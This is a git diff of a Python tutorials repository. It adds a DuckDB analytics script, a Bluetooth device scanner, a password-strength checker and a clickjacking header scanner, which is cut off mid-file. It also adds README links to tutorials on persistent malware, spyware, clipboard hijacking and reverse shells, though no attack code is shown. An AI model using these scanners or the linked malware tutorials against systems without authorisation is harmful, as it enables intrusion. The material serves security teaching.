diff --git a/README.md b/README.md
index 47ddc6eb..c298a644 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,13 @@
-
+
+
+
+
+
+
+
+
+
+
# Python Code Tutorials
This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website.
## List of Tutorials
@@ -18,6 +27,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/))
- [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer))
- [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis))
+ - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets))
+ - [Building a Honeypot Defense System with Python and Scapy](https://thepythoncode.com/article/python-scapy-honeypot-port-scan-detection-system). ([code](scapy/honeypot-defense-system))
- [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
- [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
- [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell))
@@ -66,6 +77,14 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
- [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
- [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection))
+ - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware))
+ - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware))
+ - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength))
+ - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup))
+ - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner))
+ - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/))
+ - [Building a ClipBoard Hijacking Malware with Python](https://thepythoncode.com/article/build-a-clipboard-hijacking-tool-with-python). ([code](ethical-hacking/clipboard-hijacking-tool))
+ - [How to Build a Website Blocker in Python](https://www.thepythoncode.com/article/build-website-blocker-python). ([code](ethical-hacking/website-blocker))
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
@@ -89,6 +108,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score))
- [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score))
- [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering))
+ - [Building a Full-Stack RAG Chatbot with FastAPI, OpenAI, and Streamlit](https://thepythoncode.com/article/build-rag-chatbot-fastapi-openai-streamlit). ([code](https://github.com/mahdjourOussama/python-learning/tree/master/chatbot-rag))
- ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision)
- [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection))
- [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier))
@@ -127,6 +147,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Predict Stock Prices in Python using TensorFlow 2 and Keras](https://www.thepythoncode.com/article/stock-price-prediction-in-python-using-tensorflow-2-and-keras). ([code](machine-learning/stock-prediction))
- [How to Convert Text to Speech in Python](https://www.thepythoncode.com/article/convert-text-to-speech-in-python). ([code](machine-learning/text-to-speech))
- [How to Perform Voice Gender Recognition using TensorFlow in Python](https://www.thepythoncode.com/article/gender-recognition-by-voice-using-tensorflow-in-python). ([code](https://github.com/x4nth055/gender-recognition-by-voice))
+ - [How to Build a Semantic Search Engine with FAISS and Sentence Transformers in Python](https://www.thepythoncode.com/article/semantic-search-engine-faiss-python). ([code](machine-learning/semantic-search-faiss))
+ - [How to Generate and Visualize Text Embeddings in Python](https://www.thepythoncode.com/article/generate-visualize-text-embeddings-python). ([code](machine-learning/text-embeddings-visualization))
- [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python). ([code](machine-learning/technical-indicators))
- [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python). ([code](machine-learning/trading-with-fxcm))
- [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python). ([code](machine-learning/plotly-visualization))
@@ -171,6 +193,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum))
- [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas))
- [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css))
+ - [How to Build a File Deduplication Tool in Python](https://www.thepythoncode.com/article/file-deduplication-tool-python). ([code](general/file-deduplication-tool))
+ - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager))
+ - [How to Automate Excel Reports in Python using Openpyxl](https://www.thepythoncode.com/article/automate-excel-reports-python-openpyxl). ([code](general/sales-report-generator))
@@ -193,6 +218,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data))
- [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader))
- [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader))
+ - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/))
- ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library)
- [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/))
@@ -218,6 +244,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game))
- [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse))
- [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone))
+ - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation))
+ - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy))
- ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python)
- [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management))
@@ -239,6 +267,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector))
- [How to Connect to a Remote MySQL Database in Python](https://www.thepythoncode.com/article/connect-to-a-remote-mysql-server-in-python). ([code](database/connect-to-remote-mysql-server))
- [How to Use MongoDB Database in Python](https://www.thepythoncode.com/article/introduction-to-mongodb-in-python). ([code](database/mongodb-client))
+ - [SQL Analytics at Lightning Speed: Getting Started with DuckDB in Python](https://www.thepythoncode.com/article/duckdb-python-getting-started). ([code](database/duckdb-python))
- ### [Handling PDF Files](https://www.thepythoncode.com/topic/handling-pdf-files)
- [How to Extract All PDF Links in Python](https://www.thepythoncode.com/article/extract-pdf-links-with-python). ([code](web-scraping/pdf-url-extractor))
@@ -276,6 +305,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image))
- [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images))
- [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images))
+ - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files))
- ### [Web Programming](https://www.thepythoncode.com/topic/web-programming)
- [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions))
@@ -338,6 +368,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
- [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game))
- [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game))
- [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game))
+ - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games))
+ - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame))
For any feedback, please consider pulling requests.
diff --git a/database/duckdb-python/duckdb_tutorial.py b/database/duckdb-python/duckdb_tutorial.py
new file mode 100644
index 00000000..512aa17a
--- /dev/null
+++ b/database/duckdb-python/duckdb_tutorial.py
@@ -0,0 +1,319 @@
+"""
+DuckDB + Python — Complete Tutorial Code
+=========================================
+SQL Analytics at Lightning Speed with DuckDB
+
+Requirements: pip install duckdb pandas polars pyarrow numpy
+
+This script covers:
+ 1. Basic DuckDB connection and SQL queries
+ 2. Querying CSV files directly (no import needed!)
+ 3. DuckDB vs Pandas performance comparison
+ 4. Querying Parquet files
+ 5. Window functions for ranking
+ 6. Hybrid workflow: DuckDB → Pandas → Polars
+ 7. Persistent databases (.duckdb files)
+ 8. Exporting results to CSV and Parquet
+"""
+import duckdb
+import pandas as pd
+import polars as pl
+import numpy as np
+import time
+import os
+
+print(f"DuckDB version: {duckdb.__version__}")
+
+# ═══════════════════════════════════════════════════════════════
+# 1. GENERATE SAMPLE DATA
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("GENERATING SAMPLE DATA (500K rows)")
+print("=" * 60)
+
+np.random.seed(42)
+n = 500_000
+
+regions = ["North", "South", "East", "West"]
+products = ["Widget A", "Widget B", "Gadget X", "Gadget Y", "Doohickey Z"]
+categories = ["Electronics", "Home", "Office", "Electronics", "Office"]
+
+df_sales = pd.DataFrame({
+ "order_id": range(1, n + 1),
+ "region": np.random.choice(regions, n),
+ "product": np.random.choice(products, n),
+ "category": np.random.choice(categories, n),
+ "quantity": np.random.randint(1, 20, n),
+ "unit_price": np.round(np.random.uniform(5, 500, n), 2),
+ "order_date": pd.date_range("2025-01-01", periods=n, freq="90s"),
+})
+
+df_sales["total_amount"] = df_sales["quantity"] * df_sales["unit_price"]
+df_sales["customer_id"] = np.random.randint(1000, 5000, n)
+
+csv_path = "sales_data.csv"
+parquet_path = "sales_data.parquet"
+df_sales.to_csv(csv_path, index=False)
+df_sales.to_parquet(parquet_path, index=False)
+
+csv_size = os.path.getsize(csv_path) / (1024 * 1024)
+pq_size = os.path.getsize(parquet_path) / (1024 * 1024)
+print(f"CSV saved: {csv_size:.1f} MB ({n:,} rows)")
+print(f"Parquet saved: {pq_size:.1f} MB ({n:,} rows)")
+
+# ═══════════════════════════════════════════════════════════════
+# 2. BASIC DUCKDB: IN-MEMORY CONNECTION
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("BASIC DUCKDB: Creating tables & querying")
+print("=" * 60)
+
+conn = duckdb.connect() # in-memory database
+
+conn.execute("""
+ CREATE TABLE employees (
+ id INTEGER,
+ name VARCHAR,
+ department VARCHAR,
+ salary DECIMAL(10, 2)
+ )
+""")
+
+conn.execute("""
+ INSERT INTO employees VALUES
+ (1, 'Alice', 'Engineering', 95000),
+ (2, 'Bob', 'Engineering', 87000),
+ (3, 'Charlie', 'Marketing', 72000),
+ (4, 'Diana', 'Marketing', 78000),
+ (5, 'Eve', 'Engineering', 105000),
+ (6, 'Frank', 'Sales', 65000),
+ (7, 'Grace', 'Sales', 71000)
+""")
+
+print("\nAll employees (ordered by salary):")
+print(conn.execute("SELECT * FROM employees ORDER BY salary DESC").fetchdf())
+
+print("\nAverage salary by department:")
+print(conn.execute("""
+ SELECT department,
+ ROUND(AVG(salary), 2) AS avg_salary,
+ COUNT(*) AS headcount
+ FROM employees
+ GROUP BY department
+ ORDER BY avg_salary DESC
+""").fetchdf())
+
+# ═══════════════════════════════════════════════════════════════
+# 3. QUERY CSV DIRECTLY — THE KILLER FEATURE
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("QUERYING CSV DIRECTLY (No pd.read_csv() needed!)")
+print("=" * 60)
+
+t0 = time.time()
+result = conn.execute(f"""
+ SELECT
+ region,
+ category,
+ COUNT(*) AS num_orders,
+ ROUND(SUM(total_amount), 2) AS revenue,
+ ROUND(AVG(total_amount), 2) AS avg_order_value
+ FROM read_csv('{csv_path}', AUTO_DETECT=TRUE)
+ GROUP BY region, category
+ ORDER BY revenue DESC
+ LIMIT 10
+""").fetchdf()
+duckdb_time = time.time() - t0
+print(f"DuckDB direct CSV query: {duckdb_time:.3f}s")
+print(result)
+
+# ═══════════════════════════════════════════════════════════════
+# 4. DUCKDB vs PANDAS — PERFORMANCE SHOWDOWN
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("DUCKDB vs PANDAS — Same query, who wins?")
+print("=" * 60)
+
+t0 = time.time()
+df = pd.read_csv(csv_path)
+pandas_result = (df.groupby(["region", "category"])
+ .agg(
+ num_orders=("order_id", "count"),
+ revenue=("total_amount", "sum"),
+ avg_order_value=("total_amount", "mean")
+ )
+ .sort_values("revenue", ascending=False)
+ .head(10)
+ .round(2))
+pandas_time = time.time() - t0
+
+print(f"Pandas read_csv + groupby: {pandas_time:.3f}s")
+print(f"DuckDB direct query: {duckdb_time:.3f}s")
+print(f"Speedup: {pandas_time/duckdb_time:.1f}x faster with DuckDB!")
+
+# ═══════════════════════════════════════════════════════════════
+# 5. QUERY PARQUET FILES
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("QUERYING PARQUET FILES")
+print("=" * 60)
+
+t0 = time.time()
+result = conn.execute(f"""
+ SELECT
+ product,
+ ROUND(SUM(total_amount), 2) AS total_revenue,
+ COUNT(*) AS units_sold,
+ ROUND(AVG(quantity), 1) AS avg_qty_per_order
+ FROM read_parquet('{parquet_path}')
+ GROUP BY product
+ ORDER BY total_revenue DESC
+""").fetchdf()
+pq_time = time.time() - t0
+print(f"Parquet query: {pq_time:.3f}s")
+print(result)
+
+# ═══════════════════════════════════════════════════════════════
+# 6. WINDOW FUNCTIONS — Top 3 products per region
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("WINDOW FUNCTIONS — Top 3 Products per Region")
+print("=" * 60)
+
+result = conn.execute(f"""
+ WITH ranked AS (
+ SELECT
+ region,
+ product,
+ ROUND(SUM(total_amount), 2) AS revenue,
+ ROW_NUMBER() OVER (
+ PARTITION BY region
+ ORDER BY SUM(total_amount) DESC
+ ) AS rank
+ FROM read_parquet('{parquet_path}')
+ GROUP BY region, product
+ )
+ SELECT * FROM ranked WHERE rank <= 3
+ ORDER BY region, rank
+""").fetchdf()
+print(result)
+
+# ═══════════════════════════════════════════════════════════════
+# 7. HYBRID WORKFLOW: DuckDB → Pandas → Polars
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("HYBRID WORKFLOW: DuckDB → Pandas → Polars")
+print("=" * 60)
+
+# Step 1: DuckDB does the heavy aggregation
+print("Step 1: DuckDB aggregates 500K rows → summary...")
+t0 = time.time()
+summary = conn.execute(f"""
+ SELECT
+ region,
+ category,
+ DATE_TRUNC('month', order_date) AS month,
+ COUNT(*) AS order_count,
+ ROUND(SUM(total_amount), 2) AS monthly_revenue
+ FROM read_parquet('{parquet_path}')
+ GROUP BY region, category, DATE_TRUNC('month', order_date)
+""").fetchdf()
+print(f" Done in {time.time() - t0:.3f}s → {len(summary)} rows")
+
+# Step 2: Pandas for pivot table
+print("\nStep 2: Pandas pivot table...")
+t0 = time.time()
+pivot = summary.pivot_table(
+ index="month",
+ columns="region",
+ values="monthly_revenue",
+ aggfunc="sum"
+).round(2)
+print(f" Done in {time.time() - t0:.3f}s")
+print(pivot.head(6))
+
+# Step 3: Polars for final polish
+print("\nStep 3: Polars for final formatting...")
+t0 = time.time()
+pl_df = pl.from_pandas(summary)
+top_month = (pl_df
+ .group_by("region")
+ .agg(pl.col("monthly_revenue").max().alias("best_month_revenue"))
+ .sort("best_month_revenue", descending=True))
+print(f" Done in {time.time() - t0:.3f}s")
+print(top_month)
+
+# ═══════════════════════════════════════════════════════════════
+# 8. PERSISTENT DATABASE
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("PERSISTENT DATABASE — Save to .duckdb file")
+print("=" * 60)
+
+db_path = "analytics.duckdb"
+persistent_conn = duckdb.connect(db_path)
+
+persistent_conn.execute(f"""
+ CREATE OR REPLACE TABLE sales AS
+ SELECT * FROM read_parquet('{parquet_path}')
+""")
+
+row_count = persistent_conn.execute("SELECT COUNT(*) FROM sales").fetchone()[0]
+db_size = os.path.getsize(db_path) / (1024 * 1024)
+print(f"Database file: {db_path} ({db_size:.1f} MB)")
+print(f"Sales table: {row_count:,} rows persisted")
+
+print("\nTop 5 customers by lifetime value:")
+print(persistent_conn.execute("""
+ SELECT
+ customer_id,
+ COUNT(*) AS orders,
+ ROUND(SUM(total_amount), 2) AS lifetime_value
+ FROM sales
+ GROUP BY customer_id
+ ORDER BY lifetime_value DESC
+ LIMIT 5
+""").fetchdf())
+
+persistent_conn.close()
+
+# ═══════════════════════════════════════════════════════════════
+# 9. EXPORT RESULTS
+# ═══════════════════════════════════════════════════════════════
+print("\n" + "=" * 60)
+print("EXPORTING RESULTS")
+print("=" * 60)
+
+conn.execute(f"""
+ COPY (
+ SELECT region, product, ROUND(SUM(total_amount), 2) AS revenue
+ FROM read_parquet('{parquet_path}')
+ GROUP BY region, product
+ ORDER BY revenue DESC
+ ) TO 'revenue_summary.csv' (HEADER, DELIMITER ',')
+""")
+
+conn.execute(f"""
+ COPY (
+ SELECT region, product, ROUND(SUM(total_amount), 2) AS revenue
+ FROM read_parquet('{parquet_path}')
+ GROUP BY region, product
+ ORDER BY revenue DESC
+ ) TO 'revenue_summary.parquet' (FORMAT PARQUET)
+""")
+
+print("Exported: revenue_summary.csv")
+print("Exported: revenue_summary.parquet")
+
+exported = pd.read_csv("revenue_summary.csv")
+print(f"\nExported CSV preview ({len(exported)} rows):")
+print(exported.head())
+
+# ═══════════════════════════════════════════════════════════════
+# CLEANUP
+# ═══════════════════════════════════════════════════════════════
+conn.close()
+
+print("\n" + "=" * 60)
+print("DONE! All examples completed successfully.")
+print("=" * 60)
diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py
index 4419b582..2945c767 100644
--- a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py
+++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py
@@ -1,25 +1,85 @@
-# Import bluetooth from the PyBluez module.
import bluetooth
+# Major and Minor Device Class definitions based on Bluetooth specifications
+MAJOR_CLASSES = {
+ 0: "Miscellaneous",
+ 1: "Computer",
+ 2: "Phone",
+ 3: "LAN/Network Access",
+ 4: "Audio/Video",
+ 5: "Peripheral",
+ 6: "Imaging",
+ 7: "Wearable",
+ 8: "Toy",
+ 9: "Health",
+ 10: "Uncategorized"
+}
+
+MINOR_CLASSES = {
+ # Computer Major Class
+ (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation",
+ (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA",
+ (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer",
+ # Phone Major Class
+ (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless",
+ (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway",
+ (2, 5): "Common ISDN Access",
+ # LAN/Network Access Major Class
+ (3, 0): "Fully available", (3, 1): "1% to 17% utilized",
+ (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized",
+ (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized",
+ (3, 6): "83% to 99% utilized", (3, 7): "No service available",
+ # Audio/Video Major Class
+ (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device",
+ (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio",
+ (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device",
+ (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder",
+ (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker",
+ (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy",
+ # Peripheral Major Class
+ (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard",
+ (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device",
+ # Imaging Major Class
+ (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer",
+ # Wearable Major Class
+ (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket",
+ (7, 3): "Helmet", (7, 4): "Glasses",
+ # Toy Major Class
+ (8, 0): "Robot", (8, 1): "Vehicle",
+ (8, 2): "Doll / Action figure",
+ (8, 3): "Controller", (8, 4): "Game",
+ # Health Major Class
+ (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor",
+ (9, 2): "Thermometer", (9, 3): "Weighing Scale",
+ (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter",
+ (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display",
+ (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer",
+ (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor",
+ (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis",
+ # More specific definitions can be added if needed
+}
+
+def parse_device_class(device_class):
+ major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits)
+ minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits)
+ major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class")
+ minor_class_key = (major, minor)
+ minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class")
+ return major_class_name, minor_class_name
+
+
def scan_bluetooth_devices():
try:
- # Discover Bluetooth devices with names and classes.
- discovered_devices = bluetooth.discover_devices(lookup_names=True, lookup_class=True)
-
- # Display information about the scanning process.
- print('[!] Scanning for active devices...')
- print(f"[!] Found {len(discovered_devices)} Devices\n")
-
- # Iterate through discovered devices and print their details.
+ discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True)
+ print('[!] Scanning for Bluetooth devices...')
+ print(f"[!] Found {len(discovered_devices)} Devices")
for addr, name, device_class in discovered_devices:
- print(f'[+] Name: {name}')
- print(f'[+] Address: {addr}')
- print(f'[+] Device Class: {device_class}\n')
-
+ major_class, minor_class = parse_device_class(device_class)
+ print(f"[+] Device Name: {name}")
+ print(f" Address: {addr}")
+ print(f" Device Class: {device_class} ({major_class}, {minor_class})")
except Exception as e:
- # Handle and display any exceptions that occur during device discovery.
print(f"[ERROR] An error occurred: {e}")
-
-# Call the Bluetooth device scanning function when the script is run
-scan_bluetooth_devices()
+if __name__ == "__main__":
+ scan_bluetooth_devices()
diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md
new file mode 100644
index 00000000..a0677af7
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/README.md
@@ -0,0 +1 @@
+# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py
new file mode 100644
index 00000000..cf897997
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/check_password_strength.py
@@ -0,0 +1,37 @@
+from zxcvbn import zxcvbn
+import pprint, getpass, sys
+
+
+def test_single_password():
+ password = getpass.getpass("[?] Enter your password: ")
+ result = zxcvbn(password)
+ print(f"Value: {result['password']}")
+ print(f"Password Score: {result['score']}/4")
+ print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}")
+ print(f"Feedback: {result['feedback']['suggestions']}")
+ #pprint.pp(result)
+
+
+def test_multiple_passwords(password_file):
+ try:
+ with open(password_file, 'r') as passwords:
+ for password in passwords:
+ result = zxcvbn(password.strip('\n'))
+ print('\n[+] ######################')# for readability
+ print(f"Value: {result['password']}")
+ print(f"Password Score: {result['score']}/4")
+ print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}")
+ print(f"Feedback: {result['feedback']['suggestions']}")
+ #pprint.pp(result)
+
+ except Exception:
+ print('[!] Please make sure to specify an accessible file containing passwords.')
+
+
+if len(sys.argv) == 2:
+ test_multiple_passwords(sys.argv[1])
+elif len(sys.argv) == 1:
+ test_single_password()
+else:
+ print('Usage: python test_password_strength.py (for a file containing passwords) or \
+ \npython test_password_strength.py (for a single password.)')
\ No newline at end of file
diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt
new file mode 100644
index 00000000..78b151ad
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/passwords.txt
@@ -0,0 +1,4 @@
+password
+1234567
+abc123cba159
+Sioplabxtre_9lTGCE
diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt
new file mode 100644
index 00000000..7f766a99
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/requirements.txt
@@ -0,0 +1 @@
+zxcvbn
\ No newline at end of file
diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md
new file mode 100644
index 00000000..11c88d59
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/README.md
@@ -0,0 +1 @@
+# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py
new file mode 100644
index 00000000..c8933bac
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py
@@ -0,0 +1,55 @@
+import requests, argparse
+
+
+# Function to check if a website is vulnerable to clickjacking.
+def check_clickjacking(url):
+ try:
+ # Add https:// schema if not present in the URL.
+ if not url.startswith('http://') and not url.startswith('https://'):
+ url = 'https://' + url
+
+ # Send a GET request to the URL.
+ response = requests.get(url)
+ headers = response.headers
+
+ # Check for X-Frame-Options header.
+ if 'X-Frame-Options' not in headers:
+ return True
+
+ # Get the value of X-Frame-Options and check it..
+ x_frame_options = headers['X-Frame-Options'].lower()
+ if x_frame_options != 'deny' and x_frame_options != 'sameorigin':
+ return True
+
+ return False
+ except requests.exceptions.RequestException as e:
+ print(f"An error occurred while checking {url} - {e}")
+ return False
+
+# Main function to parse arguments and check the URL.
+def main():
+ parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner')
+ parser.add_argument('url', type=str, help='The URL of the website to check')
+ parser.add_argument('-l', '--log', action='store_true', help='Print out the response headers for analysis')
+ args = parser.parse_args()
+
+ url = args.url
+ is_vulnerable = check_clickjacking(url)
+
+ if is_vulnerable:
